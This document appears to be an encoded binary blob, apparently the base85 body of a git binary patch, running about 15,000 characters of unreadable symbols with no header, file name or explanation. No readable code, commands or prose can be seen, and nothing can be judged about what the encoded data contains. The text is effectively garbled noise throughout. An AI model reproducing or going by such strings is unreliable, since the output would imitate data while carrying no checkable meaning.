z0JjSE!ykhvZ=+8S@J7MBZUoO0?1f!}kV_uEQxB>Q`N%qWv(UMoaquDKM;QfwCfNTC z;8&Cfe#(7bjGo|ut4q4bQz#|a27jo(($4{g50T%4@(PVr9+XR{POvWte4_F|uh3~q zzYTbeVAj!4w_uLz3u#{buv5tK2QTmq$`3t5j|ld|H$tdmM?eQ2A@y7PSYY_AA9P-e z!#U_eDi8NYFt&nx?u}r08i1#&{5bGjrNhqQMVNl%#64Shd@Z2E{*24(dw3__lsPnkQn!~eSc8Mh&2$^$(k!!4`K;X%2Y z@>&o21e62l>@P>)6I>UaN93!*V@(G}SsEUs6@f1qo^inE3J>?xiR@6G(ZJtUo{NCL z>xv7%r_StqM^J~UgMSe4)5;SBepBPV0Q{~?=EoYh9P}QITZ3Dqu<-DHAv!?f+DYKS z8JSU(t4Wu1FmXrcr4WW=vBhQ zdmQeQK>OIA0^jY5i#SFHWIy^-m47R+wmIJ8fZ=;4UDTr(bS3s&0^C=yAMFzNG@#Br zVpWos2mfRBigy6dQT!Az%8~kT{xkO*BIcaw*lNW`0wcYYBePrSDBsw2#gGw0e$zZR zEB$;6jU&!!T;4M|y4fQ#7z@}~ycIS_v5P*?Mc48&_lfYKG=HV=oBKtSL7F~I=_os^ z(M4aV^tVAre$)KRg^st5meu8=Bfjx%q-kw+(YGlbKF@buX*pLZeb>KQ>l9n8HIF#> zf~Tw7&5o!e49gO3mW*A~m$q9Y1UD~Uyt;L*6T*8M%guSfLa3|xOuaLU#uuA;D72g7U8J~Pnd*RMmuq)ku3zZN5%;B8FwLFWj1NmUu&f)M~0D?Q+ zyAY-wm~LFpF?=n)j8lOxjxzX4;P-;fFVFFdHpk63i1N`srw@mZ=@9ENXfMDXCxrjh ziO2Wwb?dhe;g|5Ge!2KMc1Z!N?*Un3uENhFM0z-B@xS^W&m7r+;39xR{Zd{MU$nh$ zc|)Kd*XT$eMqUT@OU1^HUwXdqs8M4oWx?4mGhcZAO(r#XDh^$5_AtCqXYk*yH%nU# zOwWB`jj`-f(s*L5343VA#)D3a2^?%%jEUq8BT|RJSQ?rsDQ&DrXr){6+o;oGo}wKs z|1|tuFR&i)Df4)9AdndYiS=lsL4OT`pHieui)oWboMu|gcXT~k{|Ss@5;xOgE;G-x37K1TcrkkyD>F=N0q&txQfTFg$7_Z6Jpsq)aNu$-Kr z(eqrbHaivAuhU}Y!8lye#q({I$&tjK@42VNJTH<@1O0iGe7ccrhAdhG+16NQT8z)1 zo)+_bW?D>JW?GD6%R3Nbv1?k)V%M~oy{>67jxFy2{}|V_nAPQ?)BW(cT>}N9>*n7# zSnxx@zi~~A+3T7X^SoF8g`vl^?@0u2~w^ry+Lx(okw3zL#X)yyb(_-v^ zYg){wizF_qYnx1qX+sMz08OCzvBm)T7qLZbGuHHtKqdDLV3TG!(_$7CF(lJs+MHqd zCx9~5r)NySnYUm9Q9UygG21wLlLBVpIzJ>|186<1wh9fL2raG{t%12bz)>~ zwo2JfB3rEn;CA*}XMP0yE;xOLo`JJr>0S*qF}IBx*bKHD_q3RuS<_Rz2qE+<29|7nm(_#<~m>vMy9MixC*bI4IDFKTW4Vd+4tHl^*T1>STu3e1tZCbcy zTFg|L788h4)c~I)qZJF-BN5oF0!9%#0*+z8JuRj}ro~i%eyM8cOpDp6#bMfh$Gw&! zD~lZWS_buZI_|Zc4e3CQ1It=%PO+nbu+DT!`gEi;(>*Qb)8!gxCD=ag(7-AN+|y!i z?A9|KNc7Ha8aRXL?9l-3tE^9N(m*Ezw`-t_fx9%Yh5`4qm`@+mGiTyVn@o#AK67p~ z29aqo4Bu(OGA)MTADeJyTFhH22KVVXZ#f3*M&KVZE#`Sb6Gx`SG}6yC>`aRp!V9`i zi@8+sCdB(OFRy;28XRk4$h4SR<8H>&f@A3d_FA}9@T(xJ69=0~4mKcm0L0*#CU(}e zm;r~GB+ay#A=%Sn)UAWJQ{Wh@jEp(8_-Qj&=^!qB!ADI3Pcq$K3!9vq48rfsxj#_M z7z97$`FhjW$Kod-e8KY}pPmmDoA_>~1vovxFbx5de-VO}IPbqggmCrVP>s3H3=D4o ze!w)VVN_QnC>W*D=RxTpgu8*?l8ap!txTWW>GO@b(OpCjrM&FamHlG+- zdZ`JYPb`<3@HSYwv|M#S&O=Wa9V<=FLoie5C8Jb%_+s3X$Q3>Ob(d1;%J=y|mD+)A zPD)j&OI=D`W|WdlT<%ip3YSt>8l_Z`a-`K@6nR<{8301FQDi~{J()=V1ovr=pz{)X zK&%r%hsA$|D8hZL{8xw~d^Q!^5lysUf%eEm;$#A2ugrd)u^nQa$nhCPB2`9_L`(Y$ zD^g8dZWND9rKJW6Mwg}_M=r#XddeIw^y$PEf=^)F(Fx3nh|D0Y)VvLZ`oo#G@O;VJ z5D+Gs_AVK*kz!<{seKU}epfI_YF`ASe-V)8D#GU&1+~&#MeI5TqAGnT;$J}Nkx?QY z?P26vW4Rg8L9qQrM!V>dP)YrYPq|{}ishnECbmN?7lo`uT>L6Jj99uY+%Yuqfmkkj z6zS3(jE*2KO)SClhA29%sYznFDBAGo%VN1G+VJShV!0@qaH~x$7afhKBYzjm@kv{3 z$7sPI*h53~kV^M=+<~MGB6XrK*ez|=*?laAAp83sJt?q#i(siv> zt)2npHN*2?)Ji443^`Xw*8c+dH{)5s(EGSpbN49J$G-v&L-NEQfMti?9);e+i6dyL z*gNL;Z^q{*gzP`jZ;a1}>~|1tjQD)WeiyvwiqD7aKU0?Ye25#l!!EMD!-;x$y)$>OyP zI9c39-JLA%<{2l8*D>H^5sru~YNFp{qD~%fWWdSeO$<1B{1yXF9&e^PP9ASzz{%sS zWSd~}n8-JITom%4Nl8tT)nnw?=4!L(|9zEvrpn3F6 zVumLSXv6TikcStDF;$wmDh6r?%$qXcCy&=1J%amPd z$VRiA+gB9g;;^aHoGOTRIkn5Ff~H{(4rm#P=xCU8kBSax83jCs*zr!Z(z!=z$=PFR zonl8}w8yzevhJsDHNSVMDreF`6mJ2~2}Z5r5T9w~-lA%u2a|h;qt^Kd9OJ09jftpB z+1nXVm$ENFPRBTkU5Ioi$pe$z0{(VvzS5pE$_XP8#%BKk!^=8uS>tDS3~Z27PpF7OuzbrV-~R z*64x@ZXlMfLJZeN|03xs@MTfnUg;{t=8`U5g;*o`rK`XVu>Fgqs}P${EM3sp0^)L! zzmWXWRfwHLEM0}zSAfSzSAj31&_=2HGoh#C|9)eUn3t4`Xombtk+=LC3&@Ti{}o4w zAIA7vHvfBuyQ6pMLF_aj&*4Q$FdQ*@~LP0T- zDB$Ce=*y-U(E$Y+R-rfH)FhL-IaP2pPX%|IoJ8zXady6ufqkdY=S6UhqiSpi5aKKA zX*jpZu%6H4Za9D~i}y_OYP_w$_nLSQBZ=rm2+FNbR*Y|uOJm^TQ}C{d@mHi&Sdf*H z)n?*3KghAh`VL|_X~OXfkD`RaV<_R|ED0uGModOlypJR1XW(CMqOM}pZCO!G1Z*R% zNxlq*%M9-|bt1e8E>nhuKVyVfoCtVZts>FU2tKO#Z!Y`=*n5~%ksmRO z`ZzI7D%dPlqVTO@ky-MgXgJv>WY|pU7fmL0L52#HE@2NmtZ0x5!UeUc-K4jMQ7*`e zg1V|~$C6EP74QVb=me)lHM)2f!HF+Y9ynAQuXW*W6lAUPps7vcoi6-$yc~*~CcGo! z`53RCwwb0i!r?{*Youw7c>al$eC&`DJTP>@ z9n!Q$JUs}!CQWO^iyBo}P%7zoZ3Oz4YruoR$SWu;GVFX%gH4s7If@vCvB5=hF4WOMX`euU$ z(AXB;*QkL60*_0tAmU9T@GH3_MZ78G^w*1&Ef;6LyF>$dICH~t4WI^FjVq)HYm1}L z)8~jmAXyttQ+1F_fT8ORkHP=1+>;o|1?IO zeF`g_s~8Ct86AX1>Sw6Qp@=!r#IHeoJkPNDvJo)PbNd`2swT&Ry4Wx+2UEBX!A)r< z^H8fzIool{T>tv=`qy_ixbjx%In?C77a0YTsF%TC3q-YaASz|>L!qKd2JaDw3K=Rs zjCv>e;5P4m#YckDrub-FKAuqwWz%$YiHki-N5c~tr5HViG|yMjz;r9U1^7nAr-NsV z;!YPv@u%Z%bzzjh{|e>5!bQK{g>QA?@4N7QuDFl7=(yyh(|XQ@f6EfkwEjptEB*_x zlSed!eHWNQPL<-3`H^US`V|>p^`*exZ-!Y=Cq*Myh_9x~i9J$WsR7_QnUQ9gNWs(* zz?&ozYj&eXVmUPGZFUOo)bA2T+GHXnQ^SFuF|{If6d1KDml{DVwIYSW>-UUw@FhL?%HC-V`(!#Q@+oYd>@=32*=ejmb{hNNwZ&Mu&yHXnjd79jX4#DX zgOQ0+T2t1Ywb)kVK1ik^tqOH>>QR+4+((}E-c$BX(VTMsmX-Mu3yD*D$OgD!vYlv zads~@cEj#dOPjlzSJW}3xz!7&tXb89>@+XIu2L%&H@BQ_Eu1-{seV>t-JDs~Gn%H> z&8nM&|8=t(>l;rp=W3=^&q26mc5VHvsZDir=FFZ$W6o$>)jDg<%Ehg#J8N5)Hm_OH zHNTnLH{n!u7Yx04O;>BS~?RhV8I0G|nix zyt&iK-P|>cJ6pS)95|a`VS6$NHG0;~sGAA3n`&kwGx!fRSG2BeU17C#&h2VmwWJx- zurc{PdsjEz&8?+<)mp2mV|CkFXh7wrwstLOUdou63ot{<1N;z_9d+c&7x-cpywK9%$sXw=m| zLD=fn&h`~+TkGi6XE`N9?%LTk^GsRHnq6Dx@;?jj)nMw*H7i?}Fg-KjEwh*3(iP3i zIuDwe*|Tcu;I*(->#CMkCn=Rsw@PY`@h|o7rI@rU8=ZBe&FJhWm(F=(>$Wm?rL=8WNBn% z8a#7F>+1OpJ{G&-U^+fBgX;GVM>uP4md~&nXWH0}zTUcGw$P7DH zn1#wO4wKnZ6Q{+KMD>F-obYT{i(=XVS3yF7mi9HM^GrV7_BYI_tF4<-KdY|RY5xCZ zI_c)VZUr=3)m77uR;-uI>N(Xj>u_;#M7At%Td@SSSZttk;hk*=dz-p$UQN^V25T`^ zYr)2V$kkE{O<4QtW^9_cV0l|tYiCDuR)bLA>6#NOQ&Vvff#ZLgC@(Fc^Gv#u?qCwm>EnRC?w=OY`>sp^By~qS=EgVQ&x}~_J$(E0!E0J$q z6oLy2K$yE&nEzR@*W8BcnmTcnUJf$tq{(yYYf<;v=(_7_Z{yKVC)XjxDfKh(&sp38 ziO%XYm*(~rOAu>8Eh{Wse{tIi$iyXb=~7&3E!i8j1+#t`qIfh-O$(~$%tA-N%38yu z{mfP7GKSs__SiWa72mKgJfK(6P(5dE#=Dlab|Le))T3;q>2WnXjp$3&W0EqOHglCi zhSADP&q1t?CT3~dx`Wj4d5u#>9)}EP8@IL<%?WFGD>i^VyA}N+*Ww^rxK8?Pn?)ld zeqsHrni=zI>)^w+rYgZZ#DBTDY}R(BtJ=|MqYYufSe4AtUF zCaoOncXpGO-UF0cWYw+NEgXiCWm=dtyMh_r+1W!EclAjAjN%X4Ds#iDdX4Tf!X0K-?yX`iaWoxqB$?5;ko0VNx zVF=ViceDvuUnRjGo=sFdc zHcqKzfn+yqV*2#f#f(6KaKi8s(c&|ytXP^O;O3oOW=FfE4oVg$^sD;k`X78fLHD^iN>ed$A zYMn)qxSet@nK83I!PA|zL!j7DXuR*oonvdu>AWY)B;xehNiiKtlWKa+EEEU#9?x1l(9E24 z_C)W!<2NKBefG36mu{0HuJz)CW(#+)O<_+2|It;T>6WywY~~tbCe8Fd-n3Igy*3zY zR;}SZC46;t^8tlZUpuF63cEOG9>l>aD~}!9#I8{0DUj}HZz_LgpYh(VGOA+KDBggi zO~MZ3GS=_jye64rC9`aS55Y0&P$!N#)QQnjwCoJCTP*edP|U|2>cp5sov1w2iLu5V zjbE6X^TjJpXV+Q1&guB!=8b%Mp@82z%^CeH>(XKjGJ9s`$&jo_D15z}L#Ab}g2rK2 z;W@`@)3>%-rBm#_`7w3mfV;1iyeoC;A#`E?(BwlFVKmzHN|g*aW1b})x@k2R1$6vs z+E=Vuxk?^`TJ5XbOi#bgr7E+WX+n&b&Nb#fuvwqo&}irx=2*X8lF80#olhEapx8X93&sbTeV5EK^zD;!QyZc7`d_cHHE* zEx}D;4ciX%@v^!Dm>?<7dClEUQ?Jz*o!&pXet78Q>H#~qklJ`@iOJ>2^^BQx_oH8zC%8LXZf|0qMb6CTb+xS>Xkm>_ zq)&(zMjN7K`k-4|I@8Npo4F9WZyB6!GUcSN15@TyPZd!}P%fL*xKY6>v(BS4UQ%(p z0HdAWiGPTc)2Th+Rx-1rQ&n%3x6 z&Gb89aa0{zBiq#G>Tr{>zZ8`f4R3-+c_#wHlEo^+l90`TX`*} zDspFz^X^Wet4Cyb%^GoXkmxDlg9;B|KI1Mkn|_!4V1;{96Yzza6~Wex=J zN-c9BjIl$R17R~*%Ap{PK|`4XVZQH99|%WqHz5G3{()Y!or)pWD!tI3MZS0|om}2ZlqC9>$<4 zd#YfrGshhTNY8}~yGd})&A=E`V&tp>zFKf-De$)h2QY}l#+N+)ZvsCkm}}qIKNZY9 z;_T-I=UxN+y7I$*oXWtsg+BuRL~sDt3!Vjr-HD4Y1I7Re z;*t*F`GS*w0frq(XMVXW7jft@U<{%m=DJ;;^97rp*cYZ-JQ;YRU@vUq z)4C8to_q_0?z!6 z_~iF*1^&6<$cMl$3l5|H`rZ^ALs|Q9&d5i-@Wb_q3tk6~3C{f|a38_+0smmZ@vi_M zCpgjyTr1dyA93wO%E9mx%dht5R6Djkqz9A0D!-^1Smo2N0!Io@K{@bf!JJ7Jm?b#p z3SiU+$|-?w2bK$t-2%Ku@g2YzL1cI!JMeA6MaX;Lhk`@!-@uOr=c4=r@FDWYN`ZeX zxa4-=cLaOUP6SX+J%mJ=BPYVvb1pFJpB|WgO>O(&a_7i$8c!KK$`#uGR ze^Afd(}0l&;uLHUyjpM)JP z-@t$MjWElnLFlpH<3H?0evACe1;_xspdj)$? zr$Q)8$}FT`KO?xP4F6vi9DNl3|0vk#@K?cwq<=1$I)p=lsY4j`mNKaWr_>pI4DeBc zi&4+QnqTS@o+9+v4}cd4&SBief&+QLXA4dY1=cc6tOwSz;JS%n_0`lLfTj2A+k$wXfp7vf;spua+k(^6?mWEykWqw zBjpEn10z0h_*h`%pO{DFeZih3z@G{B4ab1de8C0lfXf9JqU<=slyPapDAFeOE(NYt zo^Jv>K3NZZve5k(0e1-wb^><`&MgMMSa3e<6unJwawD+%q5pPZr|d=mKOj8b6~J1K zth?O0jQT|2chO%6_8$ejUvPLF@VkOTrvhu%?*;y~;F9^k zh{L!kIZ=pIM? zCx7y4;E$AlG|CAy(sTC%7YMdt&&1)1p)+^TBM)^>Ob|?+6Y3|_IRQJ8hdL)(1XJfk zhhXZQfE~$0ofB6IF5C`$li(7{K^c>$@DAXI1ly=XiJvJQbvf~pV6*<9w)0+;L*f&m z=fdBT0gVg&lX-%vf3jRK^-mrpnEEGCPLBS`se-A0vQaSgPc{pt{z=p~@)tb-yiG9M z-sI(ixwdZ-x{@aeJ15m|qtp#?Ox(4=KNZaOJo$#kg?}YK7aW`gzYGiJ+S;ii!7Rtr zK&Afxc%)#Kduop0#8bcv1>5kA)Tzn?d#8{e>R^2ce7fLblxJ$IV9&$A7YHu60eFYt z#Am=)2(~`}hV3XPgnXpFEjX|e_-?_uuy^WF!L)zs7lKnmfDvX~mIc@THu^xNT&+_< z_-t;e&%@=(sZ?e#1 zKLMUCnB|+N^(YK^dF?{y1iHLUg7eUJ=3OPYh&<5M*k?ZQO@g_$ciwG+3&#R${feS} z&3i!kVcWbX1c$x={;8D9#1ewlVT6;1h%%c@cPl;1tR$U+rN35?I?4-}ivk4#oR{HNO#*bv|Snn;#AQ zlHlOEz{n@*Tx}x%4}t@*Vg5UULzMHr(uVa8inf$ZY%Xxv+Xf20`xTa5Zie&3D2>SOT-fi=G+>wy0(JjJ_#KN0MO-<9a~ zC>{mQ6M7UjD=8Q3p9*}G;GFru<1{YHs|4qmu4e~uqhRjuP|_^8OeV3ap; z@GRiV1#^#tl4}LqmjT}(INkz$i}L>k_zuA-lu5~*f_XhJxmR!w%CO{N!G7jNZNeoC zOHjs4HwHVDpso@pVb_uu1?Tnv|5k7w%BbWG#n7b$zDxc*lw-+ziqU?Tpj|Wcw}9a{ z#Q7HPPw?O165t%gqkz%A7=GBVkJ>pA2L>PM0m$!DCOA0>c#z4&PMiXa`bliT7y76@3yuVSNa(4Lfwj&SR0Dq~ z^um6a0EVxTgZ82CV8Nm7z{d#YhL?R83ihL|=(}0*kAY!p#*Lp1{B6O>HNbZXF1j69 z%Pw~V@KZw1rOf9AC*UuA_bW!4eUS&s3=Rc`-o!c3xfFgzTB|_&4N2MKtd0i@1`v)HdR{PtlfiDvt3%**a z_V=NVmLkv8E%pxZj|3+nyYw-^QIvJ*vw}-dMy0O`=AvMwT1N3nz#j>nYrCU}j7%T$ z(l07FFdev9aJUUv^Pb-ftoikjf2QzwyMa#;oO%}+)UjC16V48p{?9Kmtav%_)) z2mT2>N^k+{{$UdZ7mWwj@(S$)*7EX}18aG44;#MU&^5?Mbe^@6yOxdMdp`4jxq}YA zZ1tg6s&*}8eZcb6hg^#qs(k6AFF0Y7^t&1OZq~tbJo@8H>}3GQq4?le?)9V($%ppG z$fGPCkarmTJ$*Ro4hO}DZt& zk!8X2&SB)?J!U7~tM*N zy27KkT8Xjc)}X5gV3o0QYXJV+_`eSSJ=MGIn{eK$e8ciq?Y7^(tbfn5bb|Hoj9)i4 zXjzv&f@KuDtz$2J-HMLeXHD5@}Er#a_8&T@bUYsG2{1J$5p~l$1bvtsa#}@s@!9ZtlVc+ zG;S}vZ^PheBQ^}4p1)y;_vTsMzVd6(0*{^E)3bi-pfjpA_w0wxi_n{7tOHS zhT4YY`ajv1Eq}|h*S|3?zw#|B=Y*aw$`5A8S+LFepyy_k|6Y{kgdMikh%&6*vedG+ z+=NQe`kQ=|eZ|IeU#ddckG=#pU;pwk>n?@e*IzYY-KDVo#v9+szZCYr6!yOq_P-SN zhyM(Q?+k~ZRKho^;1AQ_3p1*Ad0yJM-(+){`tiHR$~2q!`7{T2;Yr;*EPS_ z(=*Ppn#Yw}E5}t?9q_sF?HmV z!vBh~1AF$*8xoi_Y`fJ|wcDD3@IN$cBRrvFyVYH_*&Yr47~)6qzYPBW+=k=dZa8{7 z?7Q07(q3>$5Rjo`zB;lsn>!xix1 z(OY1vEhq!{a20&G7Ct-;K0E_H+`w{D9lcc#_UyRkVbSNB>y1vnYhLU5;u`F03IAT= z;#;2P+t`b5g7U$?da9iKT~lWG{MQ`c^Z7MRX_-mo4TCoyHhUO0TaW**!46&c{~p?t z=!Quz(S{!QrNb4F^axjz1!Nw@i{@Z+tTj*WD-X*#QshR38aZ~%CEZkmWXf;wSs z8iH248|8wwuKP60VjIJ9obmX`&1h@-v+OpEbIPu#=aRA5B(CR+TIgU6+x|ii^1F3n zZBNhGq2&mdeU5O~hUx2)8-~>5YduTfLV63)##w0N5cl)XV2^(wZ zexUa7QP*wPp{@?8S$E>licu%lR*XWrf1Ut2m5@{UIKF%E?e?DqpUQy`+SD6qH5`Oz z-2ptqQJ>#ty+)nOhuzLXy)H$)j-nnWt2bM_HXUyzXfifG-d?Q}a#5-rm3)Hc)#TveTW1oD= zLpm$EAGSI+ZhzmZ-re)+`fm?;0kW+14-d`1`Uq<{%ZX)V%K9Oz3iYNGzHjOc{67i* z&xijP)BjtokbPg!6p-VpfmOMz? z$xo2}hx{aYog)wQ3mSdFBXntxsTa$Twqd!g-_Um*%MRtdo@GioEYtPZ4OqwYsVj7R z3^rO%8&QX&QI;sf;Tvy!mu;9${ZNMapgrKwSQensMqN_RKL06gc*ao62YJcPpW^zn z*$TG&&hm9WW!XDlv&s=34SF}uM-ktHxPxhX#y?cq@jQ5K@{-RfqXWx$!hV$RK78N8 zcMrbZ7=WVw58vNK-`{x4yX#!_<7>`&(f^C;@sI)Dj)T^LO;*rV57xQLZN&tnw|@74 zb(P;T>DsgzY%y@d#OVc9o2(g|nyeM$uQ&Y}Yr~{z4I9sWW8KE>4HoJ_a6|pvb=}un z9hA3zd;b?qT<|mg#^24!hm3r!1IAC$#!I=QY!9?SmfqJ7II!+IewO@y*!%YQsH*GV zedbJNCS>x!1PBnwBm@YOWD*DxVM4+~1rlBoAV`q#2#*>ekswhc0ihKrRZv>_RYbJd z(w0_Q=}%e_snVAEXsKe06)RP0sq(AuiVEg_*IIj@ITM1~+j~Es`^P<>%vo#iz4qE` zueJ8tk25&~dA#9`>Jr$KeCeX&26O??DU6X5EvtGqM^816l_n9933ep%td5tdjxyzx8prJMODNQt_8MzH@`};K0 zco}(@It-bcNC)IEqyv&ikKJ7O63ey*JXkL9pxANi>NOz~hdQcTzN76(`}{n}Q2t=s z-jR2;?d3A+zpFje*?N)umiGBYeXt&0(me(JU4VLHN@{touhwg~(;OqAI|9_i3|F7v5z8sx@WbB*yCx?8w z^%Q&-eb(kj|M z{)V1IXk4b5v8(5dbRA=OPQy68V9p{xlDK>Jm+;Z!U$V{ay3G)^Y5HZxBj%-lr`>V7 z-RQapW1hza`b_gD$w=da;y^{)+57akC?@@(f0b0u<3;Au$)syDPtsV%7^>d9N~P1- zApKlyu0woM?t0k6K3f_Ro6&qe{7`h=0Gan)tjx#*n#~mBcwK_|g61fWZKsAelO0>0 z8r+OMR-okoY>QYW{rl)~t=pW{ufm=*S7H2jVAtr}{W)_|)V}}vE95z<^^vxEe$2WD z`=7QpTB{lRlYfyMlu{#30-~L=)%fgGYC}Kp|2D?j&*67upH~Mrw;UeaJnWCK zeLB7vjnmQLx8SoKpT|)jb@W_Xg}qQG_~LFr+6x^Aj0gMxFq`+e8))Ba=E&#Jc!@V?c6CI9wtXddGJ*1S7b*ABI6(P= zip>hg(0N$l?*7Q)3@OsWmr!^s+7hs*zWT57m z=C%iPgS{p1snY;o#oqD6dgyH0fFU;w!&;|mo$p}Fx(eEp(Vls%YtNjf_sl^+oMWi! zlDR5S(RL=j1Y@~mC(eho&0Fq&Fzwc|oj(>EoZsr&-ySW^!Txp}_O}~(e|xC3TqV;v z64tim*zfKwIf-BQ`Sl~st$m+qcJD{g-;`GSDfX$&H>(I_R?_}k8``%|KEQk94RltZ zDnaX^wc5yoZM#U1({hLW6n(X)jiYk{?1^zk03D}r+iyH(+IIH2<#)BMNBL&x3w!Oh z+6|fDM|wZlRt4U+<~^2q_aE{eczcES@a8GG*l&Azzr7c6>bQ=p8HlSCr}8lNgBbfM zch5!4TBFi2?n8)UIU{eg>eoJnc(;S>Yt^plW7f#lSiM$_T_cyO96he{R&T(1nfi;h zy0Hn@(R&S(hkbOw;I49y$y<9Ke4uCW*~T#^q+`kDypFAc|6AmrI5&yV+M34uTCB6z zUJF~TeVuL93jd}(e(UHLBp!f{>*YMdX{;&IbsNQ4=X)>Rpls+luKZhVyD*pJwm$S$ zGvo|8{53t+Ajc3}@fb0QL*QekrhDI_!s-?WxDU#(Vj= zw*MKpkkhjG>4cFx;wA$o12zGs0B!^940r(0 zMm>tbe!#tefss4BrvT$d?(iJ~^n#8c_EG+3KI5$0N6=l_k)(BA$2+P`3~f&ao*r$Lve=`ze-0B4@> zf`)w@G-pU(@L|YmF9uF~LinCt1HaJwL*Ih3Lu@-bpHd`G>#y`4(W#5Q-hH4K|4+er zP?Jk;GcF8IwB;+LeKWVU9cK&!_}m~z)x=l&7$SP2!+4Rg(?PrV6`K=eOP3#cNY^Ak;@Vk? z8E$`y+Fg-dwB7C4a{=vp)E}bZX}fiD+pV2k#o8YaYuZ3N z+TztM5(8bbICcWB5>t*o7HVE4nwQ;7GFZ;F;L#-GXOFu!hEGaL1>CMiEid%90|tr?H8jP%HZpKe=&Gd+x#^Bj-v zYdd{;h|fJy@6(nGY+fdIF5mH41isB@C0JMd1TyA1{&4VohL*+KPFEfIfKBs1`!nh2 z3&zG+<=@P-u-_Ncir=Ry@+p+BQL|kM!z)XAJ7PG4qmp?77;;y6zl}4W1j|w}*k}kq&_G2hMRE_#WU9 zoxjt~AO3d=WhGQL@}MI(k7e+#Lcc7E{S|F*7U7&?YqXzlW>vI(vd+!R#2y-lpgq8S z#(MvY;!Z`|hi8eF)0{-=LP8F{I;kr z{?P?`oI+%t05FICE2f5m#%!dfVcp9SS%T~tW>Q>>LjSS#gV zja0m44aTMy&mjBYndR%M>9(g-^V;w5nV_{Mf;F^WFO~1Gn%7`WDf=H!WJ`^Tw3ah25`!QM0F)-~9JLPk6f zO~=|V19k|(2055Jb1`@3LHC82JBu-QmeAaZXDgw`Tvdp@_!&U7rB3BzZEVg>M&6-z z7IcSC-DMr2*i7^Vos_~}*@HUg)}C|L(vdRAGaNKDmhZk6wxhEjK4bgvA+itjY?(71 zvp&YSK0flNZN=gL;`LPC+Rw1o(q~9?zRocf&szxIjq`GR((d|9HQn_W1>1dgj^vq$ zZ^2;9H>|!z=p!ewmZE1Lhw$0S>ni8@2kA+4*VblqM|vZjk?y{%-Xg*`iQ|fXHne&> z#-FUuj^J4!?;D`M98D{8u%Sgc>4*9SpU`VUMRC!>z9U`N>FnmO^JGrde4vBXut9|O z8s$6AAHi6vBp<@LkTvq)`Td%|m)7L)_1%aO=9xo;bcgz8u1;~c1$~;ei99=S+G{HW zkF)~B8LD6Yt@CH$H}u=S3cgc45bc)Vhj_JCb%noXtX-wj;Wrlf%$lBPdp&$>^*=axK~T{5JBji5cdM_WX9_dDqNRX*@^oXxnf6h0j^x z1K<^*e(Q7^^l+MeZ~n`yZ<2>(Cz;UC=F1`b7RUp9H9s5s`==c~8$-K?i6{6MYCGrZ zGqAJR^CDJ$`dj!`ux0*d4H#d%Zly8iI?t0m7S^sfL!f>dj-lJ;2`SI^QJ7{wLr zbJELJV@!?4Gc%bVbED(xy$R?C`3}vKEoMvs-(>PJzK+4aK&BL~`Ufj++6 z8XoP?S&wOp{O|L1{q7XfbxAG8cL%zrx)XL_t@$;9+D@kt&-vLUJ+p(ZQ|Q?*Vs;vx zFTx&JSK^GVg`f45w7!A(g}%{xf%4HFKOdxd1aVaMr{# zoO}WEO0C{!Z{_FFBh`93=fvExspVxpgWk+%(7#mMZtXpqWZT}-Hk@SJ#Xfx>`(G`u z?{}zby{;ntQ><&Dvm>G_#P?WQ|Ne0br7<_<;0&MUr#$d0Bp<72d$sQxoEgwL2GQU- ze`pKR6>V>Sj6Uqbys@790J$)CY{uNN6@A%;zHEoScT!)<4#6+6UxlsKIcGp?R65I_ zg>mrlaGDoWTKm`?+cDa8HT&iy+;@r>x;pL(!Faw_;K3;qR_$YkRiMM%vK{)BFrMV}c zms6TzKx_YJnp>}Yp_$M5asFe@i(0);Idmio$w6iMyLMS7{?@tML}wBfAp&<=bhW{*DnBtLUF20uB? z{!ilv-&f;jOZ2@Aj3GK#g}gilwO=o$^#a+7WxADRs?z6bbUs1nDzsLrA^Vk_gk2B8 zHdz00tTJ;gcoH8Tiw|fy(H{Jm{6fa8$!|Aa$u=}6ux;>tB6Cgwf8_5I!S{EWG0nb+ zae~-#6a0RC%O~)E8rQd=e;7k8Com3ZJWD@!!RNPa$x`cZCR!#*nEPj&7-Ph$bkzhIBGpA*a0-Ye^A(e-D$u`b$*{_+}5 z_nmQf-(h<%$xSi?ujI7@#tMC}M%KG=&i87-?+pBt*QC&)YWdCJX7W|SDW9P6Bkd!! zKG;QmgE6v|do2Xt0LYa_sYkj>~|v5pU$DaJzw+acQ~=wvJU(M0Pmn!9NXVcgeqpQvxz?+Jod z{QUv)_2Z=%=}Rxi*U<+0u!;NfOU!j>3$bCFS-U~LljQeWR*GRFBh`U^Sw{2;HrlM^ zJj`OZ{jzc+ZnVQ9(n5Z+se*Sm)Bn%Ml3PI%+*jr0;k zeqkQJk2Zw#in>nJ9RAngiskd?HaNc-5*o&Ip=B$YLdzD0@OHOFL^&U?Fl-|3_|FIe z<^|3xmR`3M@6HdI7k`KPE@!@U18)@)xODk2PA|njl&MmD7B@9D3=4->u3TBLa&W=2 z8y1DDt`0XZZo0m{D2x{@Yc!v_G{31}0e*l+sr+zw#^BLmDi2lDOaDSe1%;uhOcD-X zLEFQN&|FC`>Bn2kg{osdRp{z+y#9X~eqToDzNCx`HFK8oOV+{rU!BIdUcWv?g~K5~ z;9!B56HxscS1fA+)~}xKfQvModwm0CjGHzN*lyPHHxg2A;m=EGA$9a$!ioWBvG<)eX zDvr&&sct!CmW}A7*u8-}ZR)1jHI}bvXjpbb6AuM?Cna8#y#Ql^{Bi|;N1y>Oxkd(F zH@NJE5Z>5`Ux8x3b$G%5={?y>EqqgX0hE{jHwec-?yE3BDUX-_S4w#-PT?C!D$nEL zEU!0?OEM^r3Py68-Z!LboN7L%@oHm4{xaga1^!jJS)` ze*6oh(^3iHx+Pk@H|myXq%_JeRQqX^G|Dej`^l3VTW4XATlB0Wz}PRd1iA*GBv-={+YGAm>vb>DYh6AHyiDuz=lJ*0n?oYgW59Ri2>v+mBe{Yf1pZoHGJd~B`F}|~3xPwj zCrPpr;1KO8;vW%uEQaGwmka(I;AclC<43ua|7of_M)IE{`bxon2Ykz9!T*4M53Cma zMHninM({rYw`&Eb;o7*E|4qG-$l>;UQ)R&77UKr@Bh7m+!yxw#?1~J0AK&j8L&e=F z<@eB_Y*ac?fw4A8e*D-^{~_#~MDKf!kTD#%c-R zcY&+r=ZgIvIGbvepDXrz=1_O!=ZgKF+d!6FosM!y{Z(lCUTdsQeGRGER;5mD0O5Sk z37xtFolWzc)TujBw#@SmD=%(oG=j!0WpyT|QS;QhSd~*!t2}N6QO2z%O0*kyB!*Ib z%|-bG!|k;wjkNqb3?qt)ac2{N^!1o1=?icgJw&$hTb@knY}5?!AKAW*h5`On-M7)FOAzN&NsuKfLH@V3 